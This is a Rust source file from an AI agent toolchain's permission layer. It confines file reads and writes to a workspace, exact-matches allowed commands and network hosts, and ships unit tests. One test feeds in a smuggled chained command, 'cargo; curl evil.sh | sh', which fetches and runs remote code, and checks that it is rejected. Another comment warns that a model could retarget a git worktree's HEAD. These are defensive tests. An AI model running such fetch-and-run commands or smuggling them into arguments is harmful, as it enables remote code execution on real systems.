pub use agent_mesh_protocol::caveats::{Caveats, CountBound, Scope};
pub use agent_toolchain::caveats::ScopeExt;
pub trait CountBoundExt {
fn permits_one_more(&self, used_so_far: u64) -> bool;
}
impl CountBoundExt for CountBound {
fn permits_one_more(&self, used_so_far: u64) -> bool {
match self {
Self::Unlimited => true,
Self::AtMost(n) => used_so_far < *n,
}
}
}
pub trait CaveatsExt {
fn permits_fs_read(&self, path: &str) -> bool;
fn permits_fs_write(&self, path: &str) -> bool;
fn permits_exec(&self, cmd: &str) -> bool;
fn permits_net(&self, host: &str) -> bool;
}
impl CaveatsExt for Caveats {
fn permits_fs_read(&self, path: &str) -> bool {
self.fs_read.permits(&path.to_string())
}
fn permits_fs_write(&self, path: &str) -> bool {
self.fs_write.permits(&path.to_string())
}
fn permits_exec(&self, cmd: &str) -> bool {
self.exec.permits(&cmd.to_string())
}
fn permits_net(&self, host: &str) -> bool {
self.net.permits(&host.to_string())
}
}
pub fn lock_fs_to_workspace(
caveats: &mut Caveats,
workspace: &str,
read_grants: &[String],
write_grants: &[String],
) {
let mut read_roots: Vec<String> = vec![workspace.to_string()];
read_roots.extend(read_grants.iter().cloned());
read_roots.extend(write_grants.iter().cloned());
caveats.fs_read = match &caveats.fs_read {
Scope::All => Scope::only(read_roots),
Scope::Only(set) => Scope::only(set.iter().cloned().chain(read_roots)),
};
caveats.fs_write = match &caveats.fs_write {
Scope::All => {
Scope::only(std::iter::once(workspace.to_string()).chain(write_grants.iter().cloned()))
}
Scope::Only(set) => Scope::only(set.iter().cloned().chain(write_grants.iter().cloned())),
};
#[cfg(target_os = "macos")]
for scope in [&mut caveats.fs_read, &mut caveats.fs_write] {
if let Scope::Only(roots) = scope {
*roots = roots
.iter()
.map(|root| crate::fs_aliases::rewrite(root).into_owned())
.collect();
}
}
}
pub fn apply_cli_fs_grants(caveats: &mut Caveats, workspace: &str) {
let parse = |var: &str| -> Vec<String> {
std::env::var_os(var)
.map(|s| {
std::env::split_paths(&s)
.filter(|p| !p.as_os_str().is_empty())
.map(|p| p.to_string_lossy().into_owned())
.collect()
})
.unwrap_or_default()
};
let own_git = crate::git_hardening::own_gitdir_grants(std::path::Path::new(workspace));
let mut read = parse("NEWT_READ_PATHS");
read.extend(own_git.read);
let write = parse("NEWT_WRITE_PATHS");
lock_fs_to_workspace(caveats, workspace, &read, &write);
}
pub(crate) fn lexically_normalize(path: &str) -> std::path::PathBuf {
#[cfg(target_os = "macos")]
let path = crate::fs_aliases::rewrite(path);
#[cfg(target_os = "macos")]
let path = path.as_ref();
use std::path::{Component, PathBuf};
let mut out = PathBuf::new();
for comp in std::path::Path::new(path).components() {
match comp {
Component::CurDir => {}
Component::ParentDir => {
if !out.pop() {
out.push(comp.as_os_str());
}
}
other => out.push(other.as_os_str()),
}
}
out
}
pub fn permits_path(scope: &Scope<String>, full_path: &str) -> bool {
match scope {
Scope::All => true,
Scope::Only(set) if set.is_empty() => false,
Scope::Only(set) => {
let candidate = lexically_normalize(full_path);
set.iter()
.any(|root| candidate.starts_with(lexically_normalize(root)))
}
}
}
#[must_use]
pub fn spawn_net_scope(net: &Scope<String>) -> Scope<String> {
match net {
Scope::Only(set) if !set.is_empty() => Scope::none(),
other => other.clone(),
}
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn scope_all_permits_everything() {
let s: Scope<String> = Scope::All;
assert!(s.permits(&"anything".to_string()));
assert!(s.permits(&"".to_string()));
}
#[test]
fn scope_only_permits_exact_members() {
let s = Scope::<String>::only(["a".to_string(), "b".to_string()]);
assert!(s.permits(&"a".to_string()));
assert!(s.permits(&"b".to_string()));
assert!(!s.permits(&"c".to_string()));
assert!(!s.permits(&"".to_string()));
}
fn s(v: &[&str]) -> std::collections::BTreeSet<String> {
v.iter().map(|x| x.to_string()).collect()
}
#[test]
fn spawn_net_scope_narrows_a_nonempty_host_list_to_none() {
let hosts = Scope::only(["api.example.com".to_string()]);
assert_eq!(spawn_net_scope(&hosts), Scope::none());
}
#[test]
fn spawn_net_scope_preserves_all_and_empty() {
assert_eq!(spawn_net_scope(&Scope::All), Scope::All);
assert_eq!(spawn_net_scope(&Scope::none()), Scope::none());
}
#[test]
fn lock_fs_to_workspace_locks_open_reads_and_writes() {
let mut c = Caveats {
fs_read: Scope::All,
fs_write: Scope::All,
..Caveats::top()
};
lock_fs_to_workspace(&mut c, "/ws", &["/ext/ro".into()], &["/ext/rw".into()]);
assert_eq!(c.fs_read, Scope::Only(s(&["/ws", "/ext/ro", "/ext/rw"])));
assert_eq!(c.fs_write, Scope::Only(s(&["/ws", "/ext/rw"])));
}
#[test]
fn lock_fs_to_workspace_preserves_a_readonly_write_fence() {
let mut c = Caveats {
fs_read: Scope::All,
fs_write: Scope::none(),
..Caveats::top()
};
lock_fs_to_workspace(&mut c, "/ws", &[], &["/ext/rw".into()]);
assert_eq!(c.fs_read, Scope::Only(s(&["/ws", "/ext/rw"])));
assert_eq!(
c.fs_write,
Scope::Only(s(&["/ext/rw"])),
"ws stays unwritable"
);
}
#[test]
fn lock_fs_to_workspace_widens_an_existing_fence() {
let mut c = Caveats {
fs_read: Scope::only(["/ws".to_string()]),
fs_write: Scope::only(["/ws".to_string()]),
..Caveats::top()
};
lock_fs_to_workspace(&mut c, "/ws", &["/ext/ro".into()], &["/ext/rw".into()]);
assert_eq!(c.fs_read, Scope::Only(s(&["/ws", "/ext/ro", "/ext/rw"])));
assert_eq!(c.fs_write, Scope::Only(s(&["/ws", "/ext/rw"])));
}
#[test]
fn scope_none_permits_nothing() {
let s: Scope<String> = Scope::none();
assert!(!s.permits(&"a".to_string()));
}
#[test]
fn count_bound_permits_one_more() {
assert!(CountBound::Unlimited.permits_one_more(0));
assert!(CountBound::Unlimited.permits_one_more(99_999));
assert!(CountBound::AtMost(3).permits_one_more(0));
assert!(CountBound::AtMost(3).permits_one_more(2));
assert!(!CountBound::AtMost(3).permits_one_more(3));
assert!(!CountBound::AtMost(3).permits_one_more(99));
assert!(!CountBound::AtMost(0).permits_one_more(0));
}
#[test]
fn caveats_top_permits_everything() {
let c = Caveats::top();
assert!(c.permits_fs_read("/anywhere"));
assert!(c.permits_fs_write("/anywhere"));
assert!(c.permits_exec("rm"));
assert!(c.permits_net("evil.example.com"));
assert!(c.max_calls.permits_one_more(1_000_000));
}
#[test]
fn caveats_attenuated_denies_outside_scope() {
let c = Caveats {
fs_write: Scope::only(["allowed.rs".to_string()]),
net: Scope::only(["allowed.example.com".to_string()]),
max_calls: CountBound::AtMost(2),
..Caveats::top()
};
assert!(c.permits_fs_write("allowed.rs"));
assert!(!c.permits_fs_write("forbidden.rs"));
assert!(c.permits_net("allowed.example.com"));
assert!(!c.permits_net("evil.example.com"));
assert!(c.max_calls.permits_one_more(1));
assert!(!c.max_calls.permits_one_more(2));
}
#[test]
fn permits_exec_stays_exact_never_basename_ace_guard() {
let c = Caveats {
exec: Scope::only(["cargo".to_string()]),
..Caveats::top()
};
assert!(c.permits_exec("cargo"), "the exact grant is permitted");
assert!(
!c.permits_exec("./cargo"),
"a relative path must not match a bare grant"
);
assert!(
!c.permits_exec("sub/cargo"),
"a nested relative path must not match"
);
assert!(
!c.permits_exec("/usr/bin/cargo"),
"an absolute path must not match a bare grant"
);
assert!(
!c.permits_exec("cargo; curl evil.sh | sh"),
"a chained command must not match"
);
assert!(
!c.permits_exec("cargo-x"),
"a different program sharing a prefix must not match"
);
}
#[cfg(unix)]
#[test]
fn own_gitdir_grants_are_read_only_in_session_caveats() {
let root = tempfile::tempdir().unwrap();
let root_path = root.path().canonicalize().unwrap();
let main = root_path.join("main");
std::fs::create_dir(&main).unwrap();
let git = |dir: &std::path::Path, args: &[&str]| {
assert!(std::process::Command::new("git")
.args(args)
.current_dir(dir)
.env("GIT_AUTHOR_NAME", "t")
.env("GIT_AUTHOR_EMAIL", "t@example.invalid")
.env("GIT_COMMITTER_NAME", "t")
.env("GIT_COMMITTER_EMAIL", "t@example.invalid")
.status()
.unwrap()
.success());
};
git(&main, &["init", "-q"]);
std::fs::write(main.join("seed"), "x").unwrap();
git(&main, &["add", "seed"]);
git(&main, &["commit", "-q", "-m", "init"]);
let wt = root_path.join("wt");
git(
&main,
&["worktree", "add", "-q", wt.to_str().unwrap(), "-b", "task"],
);
std::env::remove_var("NEWT_READ_PATHS");
std::env::remove_var("NEWT_WRITE_PATHS");
let mut caveats = Caveats::top();
apply_cli_fs_grants(&mut caveats, &wt.to_string_lossy());
let common_dir = main.join(".git");
assert!(
permits_path(
&caveats.fs_read,
&common_dir.join("objects").to_string_lossy()
),
"the common git dir must be READ-granted"
);
assert!(
!permits_path(
&caveats.fs_write,
&common_dir.join("objects").to_string_lossy()
),
"the common git dir's objects/ must NOT be write-granted"
);
assert!(
!permits_path(
&caveats.fs_write,
&common_dir.join("worktrees/wt/HEAD").to_string_lossy()
),
"the worktree's HEAD must NOT be write-granted — that would let a \
model retarget it to main with no prompt"
);
}
}